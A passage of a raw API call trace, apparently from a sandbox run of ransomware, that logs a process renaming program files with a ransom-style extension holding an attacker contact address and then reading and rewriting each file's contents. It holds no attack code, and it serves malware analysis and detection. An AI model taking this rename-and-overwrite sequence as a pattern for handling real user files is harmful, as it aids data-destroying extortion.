[0215.861] WriteFile (in: hFile=0x430, lpBuffer=0x6d7040*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7040*, lpNumberOfBytesWritten=0x623ff0c*=0x240, lpOverlapped=0x0) returned 1 [0215.861] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.861] WriteFile (in: hFile=0x430, lpBuffer=0x6d727f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d727f*, lpNumberOfBytesWritten=0x623ff0c*=0x20, lpOverlapped=0x0) returned 1 [0215.861] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.861] WriteFile (in: hFile=0x430, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x623ff0c*=0x4, lpOverlapped=0x0) returned 1 [0215.861] CloseHandle (hObject=0x430) returned 1 [0215.861] GetProcessHeap () returned 0x630000 [0215.861] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d7040 | out: hHeap=0x630000) returned 1 [0215.861] GetProcessHeap () returned 0x630000 [0215.861] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d7a60 | out: hHeap=0x630000) returned 1 [0215.861] GetProcessHeap () returned 0x630000 [0215.861] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316f78 | out: hHeap=0x630000) returned 1 [0215.862] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0215.862] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fcc4 | out: lpFindFileData=0x623fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x469c67b3, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x623fd20, dwReserved1=0x6d7a60, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5440 [0215.862] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0215.862] Sleep (dwMilliseconds=0x1) [0215.870] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\index.html", len=0x6f | out: pbstr=0x623ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\index.html") returned 1 [0215.870] GetProcessHeap () returned 0x630000 [0215.870] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74d7f88, Size=0x4fdc) returned 0x74d7f88 [0215.870] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-de\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0215.870] CloseHandle (hObject=0x430) returned 1 [0215.870] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0215.870] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-de\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-de\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0215.871] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0215.871] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fc6c | out: lpFindFileData=0x623fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9c9b, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d51c0 [0215.871] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0215.871] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-de\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0215.871] GetProcessHeap () returned 0x630000 [0215.871] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9ca1) returned 0x7224598 [0215.871] GetProcessHeap () returned 0x630000 [0215.871] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9ca1) returned 0x7494528 [0215.872] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.872] ReadFile (in: hFile=0x430, lpBuffer=0x7224598, nNumberOfBytesToRead=0x9c80, lpNumberOfBytesRead=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7224598*, lpNumberOfBytesRead=0x623ff0c*=0x9c80, lpOverlapped=0x0) returned 1 [0221.998] GetProcessHeap () returned 0x630000 [0221.998] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0221.998] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.998] WriteFile (in: hFile=0x430, lpBuffer=0x7494528*, nNumberOfBytesToWrite=0x9c80, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7494528*, lpNumberOfBytesWritten=0x623ff0c*=0x9c80, lpOverlapped=0x0) returned 1 [0223.529] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.530] WriteFile (in: hFile=0x430, lpBuffer=0x749e1a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x749e1a7*, lpNumberOfBytesWritten=0x623ff0c*=0x20, lpOverlapped=0x0) returned 1 [0224.739] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.739] WriteFile (in: hFile=0x430, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x623ff0c*=0x4, lpOverlapped=0x0) returned 1 [0224.739] CloseHandle (hObject=0x430) returned 1 [0225.558] GetProcessHeap () returned 0x630000 [0225.558] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7494528 | out: hHeap=0x630000) returned 1 [0225.559] GetProcessHeap () returned 0x630000 [0225.559] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7224598 | out: hHeap=0x630000) returned 1 [0225.559] GetProcessHeap () returned 0x630000 [0225.559] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0225.559] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0225.559] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fcc4 | out: lpFindFileData=0x623fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4be6c0b0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9cbf, dwReserved0=0x90c7496, dwReserved1=0x7224590, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d53c0 [0225.559] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0225.559] Sleep (dwMilliseconds=0x1) [0227.347] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\script.min.js", len=0x76 | out: pbstr=0x623ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\script.min.js") returned 1 [0227.348] GetProcessHeap () returned 0x630000 [0227.348] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x513c) returned 0x6fe3bb0 [0227.348] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\script.min.js" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\script.min.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0227.348] CloseHandle (hObject=0x6a8) returned 1 [0227.348] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0227.348] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\script.min.js" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\script.min.js"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\script.min.js.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\script.min.js.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0227.349] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.349] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\script.min.js.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fc6c | out: lpFindFileData=0x623fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918c8e48, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x918c8e48, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x5e7dfd00, ftLastWriteTime.dwHighDateTime=0x1d2f192, nFileSizeHigh=0x0, nFileSizeLow=0x3e1a, dwReserved0=0x380039, dwReserved1=0x340032, cFileName="script.min.js.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SCRIPT~1.FIR")) returned 0x6d4e40 [0227.349] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0227.349] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\script.min.js.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\script.min.js.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0227.349] GetProcessHeap () returned 0x630000 [0227.349] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3e21) returned 0x73aa630 [0227.350] GetProcessHeap () returned 0x630000 [0227.350] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3e21) returned 0x730bb38 [0227.350] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.350] ReadFile (in: hFile=0x6a8, lpBuffer=0x73aa630, nNumberOfBytesToRead=0x3e00, lpNumberOfBytesRead=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73aa630*, lpNumberOfBytesRead=0x623ff0c*=0x3e00, lpOverlapped=0x0) returned 1 [0229.366] GetProcessHeap () returned 0x630000 [0229.366] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176f70 [0229.366] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.367] WriteFile (in: hFile=0x6a8, lpBuffer=0x730bb38*, nNumberOfBytesToWrite=0x3e00, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x730bb38*, lpNumberOfBytesWritten=0x623ff0c*=0x3e00, lpOverlapped=0x0) returned 1 [0229.367] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.367] WriteFile (in: hFile=0x6a8, lpBuffer=0x730f937*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x730f937*, lpNumberOfBytesWritten=0x623ff0c*=0x20, lpOverlapped=0x0) returned 1 [0229.367] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.367] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x623ff0c*=0x4, lpOverlapped=0x0) returned 1 [0229.367] CloseHandle (hObject=0x6a8) returned 1 [0229.367] GetProcessHeap () returned 0x630000 [0229.367] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x730bb38 | out: hHeap=0x630000) returned 1 [0229.367] GetProcessHeap () returned 0x630000 [0229.367] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73aa630 | out: hHeap=0x630000) returned 1 [0229.367] GetProcessHeap () returned 0x630000 [0229.367] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176f70 | out: hHeap=0x630000) returned 1 [0229.367] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0229.368] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\script.min.js.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fcc4 | out: lpFindFileData=0x623fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918c8e48, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x918c8e48, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4ea8a70d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3e3e, dwReserved0=0x90c7496, dwReserved1=0x73aa628, cFileName="script.min.js.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SCRIPT~1.FIR")) returned 0x6d51c0 [0229.368] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0229.368] Sleep (dwMilliseconds=0x1) [0231.075] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x623ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\toastreviewsettings.xml") returned 1 [0231.075] GetProcessHeap () returned 0x630000 [0231.075] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50bc) returned 0x6fe3bb0 [0231.075] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\it-it\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0231.076] CloseHandle (hObject=0x6cc) returned 1 [0231.077] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0231.077] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\it-it\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\it-it\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0234.114] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0234.115] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fc6c | out: lpFindFileData=0x623fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5000 [0234.115] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0234.115] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\it-it\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0234.115] GetProcessHeap () returned 0x630000 [0234.115] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74a9eb8 [0234.115] GetProcessHeap () returned 0x630000 [0234.115] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa618 [0234.115] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.115] ReadFile (in: hFile=0x6cc, lpBuffer=0x74a9eb8, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74a9eb8*, lpNumberOfBytesRead=0x623ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0234.117] GetProcessHeap () returned 0x630000 [0234.117] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318788 [0234.118] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.118] WriteFile (in: hFile=0x6cc, lpBuffer=0x74aa618*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa618*, lpNumberOfBytesWritten=0x623ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0234.118] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.118] WriteFile (in: hFile=0x6cc, lpBuffer=0x74aa7b7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa7b7*, lpNumberOfBytesWritten=0x623ff0c*=0x20, lpOverlapped=0x0) returned 1 [0234.118] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.118] WriteFile (in: hFile=0x6cc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x623ff0c*=0x4, lpOverlapped=0x0) returned 1 [0234.118] CloseHandle (hObject=0x6cc) returned 1 [0234.118] GetProcessHeap () returned 0x630000 [0234.118] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa618 | out: hHeap=0x630000) returned 1 [0234.118] GetProcessHeap () returned 0x630000 [0234.118] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74a9eb8 | out: hHeap=0x630000) returned 1 [0234.118] GetProcessHeap () returned 0x630000 [0234.118] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318788 | out: hHeap=0x630000) returned 1 [0235.167] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.168] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fcc4 | out: lpFindFileData=0x623fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x517dd40e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1cd, dwReserved0=0x623fd20, dwReserved1=0x74a9eb8, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5440 [0235.168] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0235.168] Sleep (dwMilliseconds=0x1) [0235.170] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x623ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\toastbeginupgrade.xml") returned 1 [0235.170] GetProcessHeap () returned 0x630000 [0235.170] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50a4) returned 0x6fe3bb0 [0235.170] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\is-is\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0235.170] CloseHandle (hObject=0x640) returned 1 [0235.170] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.171] 